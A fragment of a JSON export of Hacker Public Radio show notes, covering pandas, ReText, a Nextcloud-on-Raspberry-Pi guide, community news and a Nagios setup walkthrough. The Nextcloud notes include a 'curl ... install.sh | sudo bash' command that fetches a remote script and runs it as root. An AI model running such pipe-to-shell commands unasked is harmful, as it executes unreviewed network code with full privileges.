                                                            {\n    "file":\n    {\n      "first_list": [\n        "element1",\n        "element2",\n        {\n          "element3": "is another k-v pair",\n          "but_contains": [\n            "a",\n            "list",\n            "of",\n            "words"\n          ]\n        }\n      ],\n      "this_value_is_a_string": "1",\n      "and_this_is_a_number": 23,\n      "and_floating_point": 1.413\n    }\n}
                                                            \n

                                                            So that the root dictionary has a single key-value pair and all the keys have no spaces in them (so that they can be made into xml tags).

                                                            \n","hostid":385,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"json, yaml, xml, query","version":0,"downloads":0,"valid":1}, {"id":3253,"date":"2021-01-20","title":"Pandas Intro","duration":1241,"summary":"Enigma introduces one of his favorite python modules pandas","notes":"

                                                            \nWelcome to another episode of HPR I'm your host Enigma and today we are going to be talking\nabout one of my favorite python modules Pandas
                                                            \nThis will be the first episode in a series I'm naming: For The Love of Python.
                                                            \n
                                                            \nFirst we need to get the module
                                                            \npip or pip3 install pandas
                                                            \nThis will install numpy as well
                                                            \nPandas uses an object called a dataframe which is a two-dimensional data structure,
                                                            \ni.e., data is aligned in a tabular fashion in rows and columns. Think of a spreadsheet type object in memory\n

                                                            \nToday we are going to talk about:
                                                            \n1) Importing data from various sources
                                                            \nCsv, excel, sql. More advance topics like Json covered in another episode.
                                                            \ndf = pd.read_csv('file name')
                                                            \n
                                                            \n2) Accessing data by column names or positionally
                                                            \nprint(df.head(5)) # print all columns only first 5 rows
                                                            \nprint(df.tail(5)) # print all columns only last 5 rows
                                                            \nprint(df.shape) # print number of rows and columns in dataframe
                                                            \nprint(df.columns) print column names
                                                            \nprint(df[0:1].head(5)) print first two columns first 5 values by column position
                                                            \nprint(df['field1].head(5)) print same column first five values by column name
                                                            \n
                                                            \n3) Setting column types.
                                                            \ndf['FieldName'] = df['FieldName'].astype(int) # sets column as interger
                                                            \ndf['FieldName'] = df['FieldName'].astype(str) # sets column to string
                                                            \ndf['DateColumn'] = pd.to_datetime(df['DateColumn']) # sets column to Datetime
                                                            \n
                                                            \n
                                                            \n4) Some basic filtering/manipulation of data.
                                                            \nSplits string at the @ for one split next two lines create 2 columns that use the pieces.
                                                            \nnew = df2[\"Email\"].str.split(\"@\", n = 1, expand = True)
                                                            \ndf2[\"user\"]= new[0]
                                                            \ndf2[\"domain\"]= new[1]
                                                            \n
                                                            \ndf['col'] = df['Office'].str[:3] # creates a new column grabing the first 3 positions of Office column
                                                            \ndf = df[df['FieldName'] != 0] # Only keep rows that have a FieldName value not equal to zero
                                                            \n
                                                            \nSee example code that you can run at:
                                                            \n Pandas Working example \n

                                                            ","hostid":39,"series":38,"explicit":0,"license":"CC-BY-SA","tags":"python, data analytics, data science","version":0,"downloads":0,"valid":1}, {"id":3254,"date":"2021-01-21","title":"The Markdown editor Retext","duration":1494,"summary":"In this episode I cover the markdown editor ReText. I found this useful when creating show notes","notes":"

                                                            What is ReText?

                                                            \n

                                                            The ReText website on GitHub says that ReText is a simple but powerful editor for Markdown and reStructuredText markup languages.

                                                            \n

                                                            Doing a search on the HPR site returned the following two references to ReText.

                                                            \n

                                                            The excellent Markdown and Pandoc HPR 1832 episode by Mr. Young makes reference to ReText

                                                            \n

                                                            Dave Morriss mentioned using ReText as a possible tool when sending in shownotes as markdown is preferable to plain text. Refer to HPR 3167

                                                            \n

                                                            Retext Version Info

                                                            \n

                                                            As of the 1st of January 2021 I am running ReText version 7.0.1 the latest version was 7.1.0 this was last updated on the 4th of April 2020.

                                                            \n

                                                            Why I am covering this

                                                            \n

                                                            I’m covering this because in HPR show 3167 Dave Morriss said that Markdown was a preferred way to submit shownotes. Prior to this I had supplied my shownotes in plain text.

                                                            \n

                                                            What is Markdown?

                                                            \n

                                                            I guess I first must cover what markdown is I found the following definitions:-

                                                            \n

                                                            Description of Markdown from Wikipedia

                                                            \n

                                                            Markdown is a lightweight markup language for creating formatted text using a plain-text editor. John Gruber and Aaron Swartz created Markdown in 2004 as a markup language that is appealing to the human users in its source form.[9] Markdown is widely used in blogging, instant messaging, online forums, collaboration software, documentation pages, and even readme files Link https://en.wikipedia.org/wiki/Markdown

                                                            \n

                                                            Description of Markdown from John Gruber's website, one of the co founders of Markdown.

                                                            \n

                                                            Markdown is a text-to-HTML conversion tool for web writers. Markdown allows you to write using an easy-to-read, easy-to-write plain text format, then convert it to structurally valid XHTML (or HTML).

                                                            \n

                                                            Example text used in the show and how it looks

                                                            \n
                                                            # This is a level 1 heading\n\n## This is a level 2 heading\n\n### This is a level 3 heading\n
                                                            \n

                                                            This is a level 1 heading

                                                            \n

                                                            This is a level 2 heading

                                                            \n

                                                            This is a level 3 heading

                                                            \n

                                                            List of useful links

                                                            \n

                                                            Finally here are useful links that are available from within the ReText program. They can be found within the Help / About ReText menu:-

                                                            \n

                                                            Link to ReText website

                                                            \n

                                                            Link to Markdown syntax

                                                            \n

                                                            Link to reStructuredText syntax

                                                            \n

                                                            Final thoughts

                                                            \n
                                                              \n
                                                            • Using ReText to pull these shownotes together disciplined me to hopefully put more meaningful titles within my shownotes.

                                                            • \n
                                                            • It helped my to create meaningful descriptive links which will hopefully help accessibility for the visually impaired.

                                                            • \n
                                                            • I edited the text on this occasion in live preview mode I found this made it very easy to see how the final version would look.

                                                            • \n
                                                            • I think I ended up with more polished shownotes that hopefully needs fewer and hopefully no input from our band of HPR volunteers working behind the scenes.

                                                            • \n
                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Markdown, HPR, shownotes","version":0,"downloads":0,"valid":1}, {"id":3255,"date":"2021-01-22","title":"garage door part 2","duration":574,"summary":"tis teh season COUGH COUGH","notes":"

                                                            garage door part 2
                                                            \ntis teh season COUGH COUGH

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"garage door,diy,home,repair","version":0,"downloads":0,"valid":1}, {"id":3256,"date":"2021-01-25","title":"Update, MS Teams, Covid 19, Raspberry PI 400 Raspberry PI 4 8GB Centos","duration":539,"summary":"Hey guys just a short update, whats going with Centos? Raspberry PI 400 Good buy","notes":"

                                                            Hey guys I have been doing a lot of MS Teams it works on Linux not so I can have 365 on my ubuntu browser and MS teams installed. (Work complete from a linux box) (It's great) The Raspberry PI400 is a great box you should get it. Also I thought the Raspberry 4 8GB to be very solid.

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Centos, Oracle linux, MS Teams, Covid, Raspberry, PI 400","version":0,"downloads":0,"valid":1}, {"id":3257,"date":"2021-01-26","title":"Lack of diversity in Linux and other open source communities","duration":714,"summary":"I consider some reasons that there is a lack of diversity when it comes to open source communities. ","notes":"
                                                              \n
                                                            1. Why is there a lack of diverse voices and faces in the world of Linux and open source
                                                            2. \n
                                                            3. Free software but it's not made available to the very people who could really benefit from it
                                                            4. \n
                                                            5. Lack of training in schools when it comes to Linux and other open source software
                                                            6. \n
                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, race, podcast","version":0,"downloads":0,"valid":1}, {"id":3258,"date":"2021-01-27","title":"Linux Inlaws S01E22: The Linux Professional Institute","duration":4129,"summary":"The chaps host Evan Leibovitch from the LPI","notes":"\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Java screw-up, Linux Professional Institute, Zombies, Grumpies","version":0,"downloads":0,"valid":1}, {"id":3259,"date":"2021-01-28","title":"Nextcloud - The easy way","duration":482,"summary":"Self hosting a Nextcloud instance.","notes":"

                                                            https://peyanski.com/personal-cloud-from-home-nextcloud-on-raspberry-pi/#Nextcloud_initial_setup

                                                            \n
                                                            sudo apt-get update && sudo apt-get upgrade -y
                                                            \n

                                                            Start the Nextcloud on Raspberry Pi installation with the following script.

                                                            \n
                                                            curl -sSL https://raw.githubusercontent.com/nextcloud/nextcloudpi/master/install.sh | sudo bash
                                                            \n

                                                            Github script content

                                                            \n

                                                            https://raw.githubusercontent.com/nextcloud/nextcloudpi/master/install.sh

                                                            \n
                                                            \n#!/bin/bash\n\n# NextCloudPi installation script\n#\n# Copyleft 2017 by Ignacio Nunez Hernanz <nacho _a_t_ ownyourbits _d_o_t_ com>\n# GPL licensed (see end of file) * Use at your own risk!\n#\n# Usage: ./install.sh\n#\n# more details at https://ownyourbits.com\n\nBRANCH=master\n#DBG=x\n\nset -e$DBG\n\nTMPDIR="$(mktemp -d /tmp/nextcloudpi.XXXXXX || (echo "Failed to create temp dir.\nExiting" >&2 ; exit 1) )"\ntrap "rm -rf "${TMPDIR}" ; exit 0" 0 1 2 3 15\n\n[[ ${EUID} -ne 0 ]] && {\n  printf "Must be run as root. Try 'sudo $0'n"\n  exit 1\n}\n\nexport PATH="/usr/local/sbin:/usr/sbin:/sbin:${PATH}"\n\n# check installed software\ntype mysqld  &>/dev/null && echo ">>> WARNING: existing mysqld configuration\nwill be changed <<<"\n\n# get install code\necho "Getting build code..."\napt-get update\napt-get install --no-install-recommends -y wget ca-certificates sudo lsb-release\n\npushd "$TMPDIR"\nwget -qO- --content-disposition\nhttps://github.com/nextcloud/nextcloudpi/archive/"$BRANCH"/latest.tar.gz\n  | tar -xz\n  || exit 1\ncd - && cd "$TMPDIR"/nextcloudpi-"$BRANCH"\n\n# install NCP\necho -e "nInstalling NextCloudPi..."\nsource etc/library.sh\n\n# check distro\ncheck_distro etc/ncp.cfg || {\n  echo "ERROR: distro not supported:";\n  cat /etc/issue\n  exit 1;\n}\n\n\nmkdir -p /usr/local/etc/ncp-config.d/\ncp etc/ncp-config.d/nc-nextcloud.cfg /usr/local/etc/ncp-config.d/\ncp etc/library.sh /usr/local/etc/\ncp etc/ncp.cfg /usr/local/etc/\n\ninstall_app    lamp.sh\ninstall_app    bin/ncp/CONFIG/nc-nextcloud.sh\nrun_app_unsafe bin/ncp/CONFIG/nc-nextcloud.sh\nsystemctl restart mysqld # TODO this shouldn't be necessary, but somehow it's\nneeded in Debian 9.6. Fixme\ninstall_app    ncp.sh\nrun_app_unsafe bin/ncp/CONFIG/nc-init.sh\nbash /usr/local/bin/ncp-provisioning.sh\n\npopd\n\nIFACE="$( ip r | grep "default via" | awk '{ print $5 }' | head -1 )"\nIP="$( ip a show dev "$IFACE" | grep global | grep -oP 'd{1,3}(.d{1,3}){3}' |\nhead -1 )"\n\necho "Done.\n\nFirst: Visit https://$IP/  https://nextcloudpi.local/ (also\nhttps://nextcloudpi.lan/ or https://nextcloudpi/ on windows and mac)\nto activate your instance of NC, and save the auto generated passwords. You may\nreview or reset them\nanytime by using nc-admin and nc-passwd.\nSecond: Type 'sudo ncp-config' to further configure NCP, or access ncp-web on\nhttps://$IP:4443/\nNote: You will have to add an exception, to bypass your browser warning when you\nfirst load the activation and :4443 pages. You can run letsencrypt to get rid of\nthe warning if you have a (sub)domain available.\n"\n\nexit 0\n\n# License\n#\n# This script is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This script is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this script; if not, write to the\n# Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n# Boston, MA  02111-1307  USA\n
                                                            \n

                                                            DuckDNS

                                                            \n

                                                            https://www.duckdns.org

                                                            \n

                                                            Enter trusted domain

                                                            \n

                                                            NextCloudPi panel
                                                            \n\"NextCloudPi

                                                            \n

                                                            Trusted domain 1
                                                            \n\"Trusted

                                                            \n

                                                            Trusted domain 2
                                                            \n\"Trusted

                                                            \n

                                                            Certbot script

                                                            \n
                                                            sudo apt install certbot python-certbot-apache -y\n\nsudo certbot --apache
                                                            \n

                                                            Customization External storage support

                                                            \n

                                                            Apps > Disabled Apps > External Storage Support > Enable

                                                            \n

                                                            Apps 1
                                                            \n\"Apps

                                                            \n

                                                            Apps 2
                                                            \n\"Apps

                                                            \n

                                                            Settings
                                                            \n\"Settings\"

                                                            \n

                                                            External storage
                                                            \n\"External

                                                            \n

                                                            Dark mode support

                                                            \n

                                                            Apps 3
                                                            \n\"Apps

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"self hosting, cloud, linux, raspberry pi","version":0,"downloads":0,"valid":1}, {"id":3260,"date":"2021-01-29","title":"Free, Public Domain and Creative Commons Assets","duration":1289,"summary":"Using images and fonts that are not restricted","notes":"

                                                            In preparation for doing some sample exercises I wanted to first explain about how you can use images and fonts that are not restricted or are available under license terms that are not too restrictive. Any image that is intended for public display or for commercial purposes could be liable for copyright infringement if care is not taken. Fortunately, there are many resources available that you can use, and we look at some of the better ones.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"Public Domain, Creative Commons, copyright, images, fonts","version":0,"downloads":0,"valid":1}, {"id":3261,"date":"2021-02-01","title":"HPR Community News for January 2021","duration":3606,"summary":"HPR Volunteers talk about shows released and comments posted in January 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n TrumpetJohn.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3240Fri2021-01-01Linux Under AttackAhuka
                                                            3241Mon2021-01-04HPR Community News for December 2020HPR Volunteers
                                                            3242Tue2021-01-05The eternal battle over how to run your chromebook is about to beginZen_Floater2
                                                            3243Wed2021-01-06Pictor - free and open radio astronomyAndrew Conway
                                                            3244Thu2021-01-07Interview with Anco Scholte ter Horst CEO of Freedom InternetKen Fallon
                                                            3245Fri2021-01-08ELECTRICITYoperat0r
                                                            3246Mon2021-01-11LXCast: freeing the Fairphone 3 (and many other phones) 2BFrank
                                                            3247Tue2021-01-12Saturday Morning Automotive RoutineTrumpetJohn
                                                            3248Wed2021-01-13SARS-CoV-2 detection by PCR explanationMr. Young
                                                            3249Thu2021-01-14Linux Inlaws S01E21: The Big Linux Inlaws Peep Showmonochromec
                                                            3250Fri2021-01-15GIMP: Getting Started With LayersAhuka
                                                            3251Mon2021-01-18Opposing Views on AlcoholWindigo
                                                            3252Tue2021-01-19Simple JSON querying tool (also YAML, and to a lesser extent XML)crvs
                                                            3253Wed2021-01-20Pandas IntroEnigma
                                                            3254Thu2021-01-21The Markdown editor RetextMrX
                                                            3255Fri2021-01-22garage door part 2operat0r
                                                            3256Mon2021-01-25Update, MS Teams, Covid 19, Raspberry PI 400 Raspberry PI 4 8GB CentosJWP
                                                            3257Tue2021-01-26Lack of diversity in Linux and other open source communitiesswift110
                                                            3258Wed2021-01-27Linux Inlaws S01E22: The Linux Professional Institutemonochromec
                                                            3259Thu2021-01-28Nextcloud - The easy wayArcher72
                                                            3260Fri2021-01-29Free, Public Domain and Creative Commons AssetsAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3236\n(2020-12-28) \"The State of Linux Audio Apps in 2020\"\nby Pat from TLLTS.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nMarc Lavallee on 2021-01-10:\n\"Jack and Pulseadio\"

                                                              \n
                                                            • hpr3237\n(2020-12-29) \"Cloning a Hard Drive with Clonezilla\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\njezra on 2021-01-04:\n\"blather\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 19 comments on 12 of this month's shows:

                                                            \n
                                                            • hpr3240\n(2021-01-01) \"Linux Under Attack\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGreat episode on 2021-01-11:\n\"Important information, thank you\"

                                                              \n
                                                            • hpr3242\n(2021-01-05) \"The eternal battle over how to run your chromebook is about to begin\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2021-01-06:\n\"Video\"
                                                              • Comment 2:\nKlaatu on 2021-01-07:\n\"Cool skills\"
                                                              • Comment 3:\nKevin O'Brien on 2021-01-08:\n\"I loved the show\"
                                                              • Comment 4:\nReto on 2021-01-17:\n\"I like the concept\"

                                                              \n
                                                            • hpr3244\n(2021-01-07) \"Interview with Anco Scholte ter Horst CEO of Freedom Internet\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-01-12:\n\"I'm jealous!\"
                                                              • Comment 2:\nDave Morriss on 2021-01-24:\n\"Great show for lifting the spirits\"

                                                              \n
                                                            • hpr3245\n(2021-01-08) \"ELECTRICITY\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nPaul Quirk on 2020-11-07:\n\"Show warning\"

                                                              \n
                                                            • hpr3246\n(2021-01-11) \"LXCast: freeing the Fairphone 3 (and many other phones) \"\nby 2BFrank.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-01-19:\n\"I loved the show\"

                                                              \n
                                                            • hpr3247\n(2021-01-12) \"Saturday Morning Automotive Routine\"\nby TrumpetJohn.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-01-19:\n\"Excellent!\"

                                                              \n
                                                            • hpr3248\n(2021-01-13) \"SARS-CoV-2 detection by PCR explanation\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2021-01-13:\n\"Is Mr. Young a genius?\"
                                                              • Comment 2:\nKevin O'Brien on 2021-01-20:\n\"Another fantastic show\"

                                                              \n
                                                            • hpr3249\n(2021-01-14) \"Linux Inlaws S01E21: The Big Linux Inlaws Peep Show\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nOperat0r on 2021-01-22:\n\"greets!\"

                                                              \n
                                                            • hpr3252\n(2021-01-19) \"Simple JSON querying tool (also YAML, and to a lesser extent XML)\"\nby crvs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2021-01-29:\n\"Using this today\"

                                                              \n
                                                            • hpr3253\n(2021-01-20) \"Pandas Intro\"\nby Enigma.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2021-01-20:\n\"New info, even for me\"

                                                              \n
                                                            • hpr3257\n(2021-01-26) \"Lack of diversity in Linux and other open source communities\"\nby swift110.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2021-01-26:\n\"I can relate\"
                                                              • Comment 2:\nTony Hughes on 2021-01-26:\n\"The lack of diversity in Linux\"
                                                              • Comment 3:\nBeeza on 2021-01-27:\n\"Thoughts on diversity\"

                                                              \n
                                                            • hpr3258\n(2021-01-27) \"Linux Inlaws S01E22: The Linux Professional Institute\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-01-28:\n\"I loved the show\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-January/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nWindigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 3 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3262,"date":"2021-02-02","title":"My thoughts on diversity in Linux and open source","duration":2010,"summary":"I give some of my background story and certain frustrations I have experienced in life","notes":"
                                                              \n
                                                            1. Lack of exposure to Linux and open source
                                                            2. \n
                                                            3. Lack of interest in Linux and open source
                                                            4. \n
                                                            5. Some experiences I had growing up
                                                            6. \n
                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, race, podcast, irc, telegram, technology, culture","version":0,"downloads":0,"valid":1}, {"id":3263,"date":"2021-02-03","title":"My Beginnings in Tech","duration":1157,"summary":"Rambling about how I got in to technology and linux.","notes":"

                                                            Hiya! There aren't any links or anything to put here, but putting something in the show notes seems important.

                                                            ","hostid":390,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Introduction, Linux, First Show","version":0,"downloads":0,"valid":1}, {"id":3264,"date":"2021-02-04","title":"Intro to Nagios","duration":1200,"summary":"Introduce some nagios basics and walk through setting up nagios on Ubuntu","notes":"

                                                            Nagios Basics

                                                            \n

                                                            Introduction

                                                            \n

                                                            I noticed nagios on the requested topics page. I am far from being an expert with nagios and there is a lot I do not know. I have a working knowledge of most of the basic nagios principles. So, hopefully, I can give a useful introduction and review some one the principles of nagios along the way

                                                            \n

                                                            Nagios is a network monitoring tool. You define some things for nagios to check, and nagios will alert you if those checks fail.

                                                            \n

                                                            Nagios has a web UI that is normally used to see the status of the checks. There are some basic administration tasks you can do from the web UI

                                                            \n
                                                              \n
                                                            • enabling/disabling notifications
                                                            • \n
                                                            • Scheduling Downtime
                                                            • \n
                                                            • Forcing immediate checks
                                                            • \n
                                                            \n

                                                            Nagios is primarily configured with text files. You have to edit the nagios config files for things like

                                                            \n
                                                              \n
                                                            • adding servers
                                                            • \n
                                                            • customizing commands
                                                            • \n
                                                            \n

                                                            Nagios core vs NagiosXI

                                                            \n

                                                            NagiosXI is the commercial version of nagios. NagiosXI requires a paid license and includes support. NagiosXI has some extra features including wizards for adding hosts and easy cloning of hosts.

                                                            \n

                                                            I have used NagiosXI, and personally don't find the extra features very useful. Probably the biggest reason to use NagiosXI is Enterprise that requires commercial support

                                                            \n

                                                            The community version of nagios is normally referred to as nagios core This episode will focus on the nagios core

                                                            \n

                                                            Nagios Documentation

                                                            \n

                                                            I don't like the official nagios core documentation. A lot like man pages, It is a good reference, but can be hard to follow.

                                                            \n

                                                            Maybe is it possible for someone to read the documentation and be able to install and configure nagios for the first time. But it took me a lot of trial and error to get a functional nagios server following the nagios documentation

                                                            \n

                                                            Outside of the official documentation, Most of the nagios installation guides I found online recommend downloading and building nagios from the nagios site. My general policy is to use OS provided packages whenever possible. Normally, sticking to packages eases long the term maintenance.

                                                            \n

                                                            You may not always get the latest feature release, but installation and updates are usually easier. I know not everyone will agree with me here, and will want to build the latest version. Regardless of the install method, most of the nagios principles I go over will still apply

                                                            \n

                                                            I am making the assumption that most listeners will be most familiar with Debian/Ubuntu, so I will go over installing nagios on Ubuntu using the nagios packages from the Ubuntu repository

                                                            \n

                                                            Hosts and Services

                                                            \n

                                                            Before I go over the installation, I'll talk a bit about some of the pieces that make up nagios Nagios checks are for either hosts or services.

                                                            \n

                                                            From the Nagios documentation

                                                            \n
                                                            \n

                                                            A host definition is used to define a physical server, workstation, device, etc. that resides on your network.

                                                            \n
                                                            \n

                                                            Also from the nagios documentation

                                                            \n
                                                            \n

                                                            A service definition is used to identify a \"service\" that runs on a host. The term \"service\" is used very loosely. It can mean an actual service that runs on the host (POP, SMTP, HTTP, etc.) or some other type of metric associated with the host

                                                            \n
                                                            \n

                                                            Normally, hosts are checked using ping. If the host responds to the ping with in the specified time frame, the host is considered up. Once a host is defined and determined to be UP, you can optionally check services on that host

                                                            \n

                                                            Installation and setup

                                                            \n

                                                            Install the packages

                                                            \n
                                                            apt install nagios4
                                                            \n

                                                            One of the dependencies is the monitoring-plugins I'll talk more about the monitoring-plugins package when we dig in to the checks

                                                            \n

                                                            The primary UI for nagios is a cgi driven web app usually served via apache. Following the nagios4 installation, the web UI isn't functional. So we need to make a few configuration changes

                                                            \n

                                                            The nagios config file for apache contains a directive that is not enabled by default

                                                            \n

                                                            Enable 2 Apache modules

                                                            \n
                                                            a2enmod authz_groupfile\na2enmod auth_digest\nsystemctl restart apache2
                                                            \n

                                                            Nagios authentication

                                                            \n

                                                            Enable users in the nagios UI

                                                            \n

                                                            In /etc/nagios4/cgi.cfg change the line

                                                            \n
                                                            'use_authentication=0'
                                                            \n

                                                            to

                                                            \n
                                                            'use_authentication=1'
                                                            \n

                                                            Modify Apache

                                                            \n

                                                            In /etc/apache2/conf-enabled/nagios4-cgi.conf change

                                                            \n
                                                            Require all granted
                                                            \n

                                                            to

                                                            \n
                                                            Require valid-user
                                                            \n

                                                            And if needed, remove the IP restriction by removing the line that starts with

                                                            \n
                                                            Require ip
                                                            \n

                                                            And finally we need to add a nagios basic auth user. I normally use nagiosadmin, but it can be any username

                                                            \n
                                                            htdigest  -c /etc/nagios4/htdigest.users Nagios4 nagiosadmin
                                                            \n

                                                            Restarts

                                                            \n

                                                            Restart apache and nagios and the nagios UI will be fully functional

                                                            \n

                                                            Check commands

                                                            \n

                                                            Nagios uses a collection of small standalone executables to perform the checks. Checks are either OK, Warning, or Critical, depending on the exit code of the check.

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            Exit CodeStatus
                                                            0OK/UP
                                                            1WARNING
                                                            2CRITICAL
                                                            \n

                                                            The check commands are standalone applications that can be run independent from nagios. Running the checks from the shell is helpful to better understand how the nagios checks work. The location of the check commands can vary depending on how nagios was packaged. In this case, they are in /usr/lib/nagios/plugins

                                                            \n

                                                            Looking at the names on the files can give you an idea of their purpose. For example, it should be obvious what check_http and check_icmp are for.

                                                            \n
                                                            cd /usr/lib/nagios/plugins\n$ ./check_icmp localhost\nOK - localhost: rta 0.096ms, lost 0%|rta=0.096ms;200.000;500.000;0; pl=0%;40;80;; rtmax=0.218ms;;;; rtmin=0.064ms;;;;\n$ ./check_http localhost\nHTTP OK: HTTP/1.1 200 OK - 10977 bytes in 0.005 second response time |time=0.004558s;;;0.000000;10.000000 size=10977B;;;0
                                                            \n

                                                            Most checks can be run with -h to print usage help

                                                            \n

                                                            The checks can be in any language as long as is it is executable by the nagios server. Many are compiled C but Perl and shell scripts are also common

                                                            \n
                                                            file check_icmp\ncheck_icmp: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=46badf6e4322515a70d5553c8018a20e1e9b8206, for GNU/Linux 3.2.0, stripped
                                                            \n

                                                            Nagios config files

                                                            \n

                                                            The primary nagios config file is /etc/nagios4/nagios.cfg

                                                            \n

                                                            nagios.cfg has a directive that will load additional user generated files

                                                            \n
                                                            cfg_dir=/etc/nagios4/conf.d
                                                            \n

                                                            I like to put all my additions to nagios in this directory and use git for both version control and backup.

                                                            \n

                                                            Nagios commands

                                                            \n

                                                            Nagios doesn't run the check executable directly The checks have to be explicitly defined in as a command Some predefined commands are in /etc/nagios4/objects/commands.cfg

                                                            \n

                                                            Debian package monitoring-plugins-basic contains several command definitions that are loaded by nagios.cfg cfg_dir=/etc/nagios-plugins/config

                                                            \n

                                                            Lets look in the /etc/nagios-plugins/config at ping.cfg for an example of how commands are defined

                                                            \n
                                                            # 'check-host-alive' command definition\ndefine command{\n    command_name    check-host-alive\n    command_line    /usr/lib/nagios/plugins/check_ping -H '$HOSTADDRESS$' -w 5000,100% -c 5000,100% -p 1\n    }
                                                            \n

                                                            Commands require command_name and command_line The command line is that path to the executable that will perform the check and optional arguments. Most checks require -H for the host address to check The check-host-alive command also contains arguments to set the critical and warning thresholds with -c and -w

                                                            \n

                                                            The check_ping command is similar the check-host-alive command except it requires 2 arguments to set the critical and warning thresholds.

                                                            \n
                                                            define command{\n        command_name    check_ping\n        command_line    /usr/lib/nagios/plugins/check_ping -H '$HOSTADDRESS$' -w '$ARG1$' -c '$ARG2$'\n        }
                                                            \n

                                                            Templates

                                                            \n

                                                            Hosts and services require a lot of reused variables. Object definitions normally use templates to avoid having to repetitively set the same variables on each host. Nagios normally ships with predefined templates for hosts and services that will work for most cases.

                                                            \n

                                                            In Ubuntu, the templates are defined in /etc/nagios4/objects/templates.cfg. Template definitions are the same as other object definitions, except they contain register 0 which designates the object as a template. I'll show how the templates are used when I go over the host and service definitions.

                                                            \n

                                                            Notifications

                                                            \n

                                                            By default, notifications are sent via email to nagios@localhost. The easiest way to get notifications is to configure the nagios server to forward emails to a monitored email address. Since many networks block sending email directly via SMTP, email forwarding may be challenging.

                                                            \n

                                                            In a follow up episode I will cover setting up postfix to relay mail through a mail sending service and maybe some other methods for sending alerts

                                                            \n

                                                            Localhost

                                                            \n

                                                            By default, nagios is set to monitor localhost. Having the nagios server can be useful but you probably want to add some additional servers.

